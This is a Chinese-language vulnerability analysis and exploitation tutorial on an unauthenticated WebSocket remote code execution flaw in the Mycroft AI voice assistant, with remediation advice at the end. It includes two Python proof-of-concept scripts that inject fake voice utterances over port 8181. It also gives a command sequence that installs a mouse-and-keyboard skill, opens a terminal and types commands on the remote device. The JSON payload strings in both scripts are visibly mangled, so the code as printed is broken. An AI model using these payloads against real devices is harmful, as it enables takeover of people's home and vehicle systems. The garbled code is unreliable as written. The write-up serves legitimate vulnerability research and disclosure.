智能语音应用Mycroft AI的远程代码执行漏洞分析
字数 1331 2025-08-18 11:37:23
Mycroft AI 远程代码执行漏洞分析与利用教学文档
1. Mycroft AI 简介
Mycroft AI 是一款开源且基于人工智能的语音助理应用,与 Amazon Echo 和 Google Home 类似。主要特点:
- 2015年开始众筹生产 Mark-I 和 Mark-II 代产品
- 基于 Linux Desktop/Server 和 Raspberry PI 架构
- 广泛应用于智能自动化家居系统
- 新款应用将应用于捷豹和路虎的某些车型
2. 漏洞发现背景
在 Arch Linux 社区开源软件包的开发贡献过程中,研究者发现了 Mycroft AI 存在一个无需点击交互即可实现的远程代码执行漏洞(RCE)。
3. 漏洞技术分析
3.1 WebSocket 服务端未授权访问
关键代码片段:
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [(route, WebsocketEventHandler)]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
配置文件 mycroft.conf 中的 WebSocket 设置:
"websocket": {
"host": "0.0.0.0",
"port": 8181,
"route": "/core",
"ssl": false
}
问题:WebSocket 服务端默认监听在 0.0.0.0:8181/core,且没有任何身份验证机制。
3.2 漏洞验证测试
简单的 Python 脚本测试:
#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
async with websockets.connect(uri) as websocket:
await websocket.send("{\"data\": {\"utterances\command+type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())
这个脚本可以让 Mycroft AI 说出 "pwned",证明可以远程控制设备发声。
4. Mycroft AI 技能系统分析
4.1 技能组成元素
一个 Mycroft 技能通常包含以下文件:
dialog/en-us/command.dialog- 包含能触发技能的语音命令vocab/en-us/answer.voc- 包含 Mycroft 发声的答案requirements.txt- 包含由 pip 安装的技能所需包__init__.py- 包含技能的主函数和触发执行时需要加载的命令
4.2 利用技能系统执行代码
理论上可以创建一个恶意技能,在被触发后执行任意代码。但存在以下限制:
- 需要通过语音命令触发
- 技能链接 URL 可能需要被在线网站白名单化
5. 实际利用方法
5.1 利用现有技能
研究发现一个名为 skill-autogui 的有趣技能,其主要功能是对鼠标键盘的控制,可以用来实现代码执行。
5.2 漏洞利用 PoC
完整的漏洞利用脚本:
#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
for payload in cmds:
async with websockets.connect(uri) as websocket:
await websocket.send("{\"data\": {\"utterances\payload+type\": \"recognizer_loop:utterance\", \"context\": null}")
time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())
使用示例:
python pwn.py "install autogui" "open xterm" "type echo pwned" "press enter"
这个命令序列会在远程 Mycroft 设备的 Linux 系统上执行命令:
- 安装 autogui 技能
- 打开 xterm 终端
- 输入命令 "echo pwned"
- 按下回车执行
6. 漏洞影响范围
所有搭载 Mycroft 且 WebSocket 服务端暴露在网的设备:
- Mark-I 代应用的 WebSocket 接口默认在防火墙之后,受影响较小
- 其他版本如果 WebSocket 服务暴露,则全部受影响
7. 漏洞修复建议
- 为 WebSocket 服务端添加身份验证机制
- 默认情况下不应将 WebSocket 服务绑定到 0.0.0.0
- 对技能安装来源实施严格的白名单控制
- 限制危险技能的安装和使用
8. 参考资源
- GitHub 相关讨论
- FreeBuf 原始文章
这份文档详细分析了 Mycroft AI 的远程代码执行漏洞,从发现过程、技术原理到实际利用方法都进行了全面说明,可以作为安全研究和漏洞修复的参考。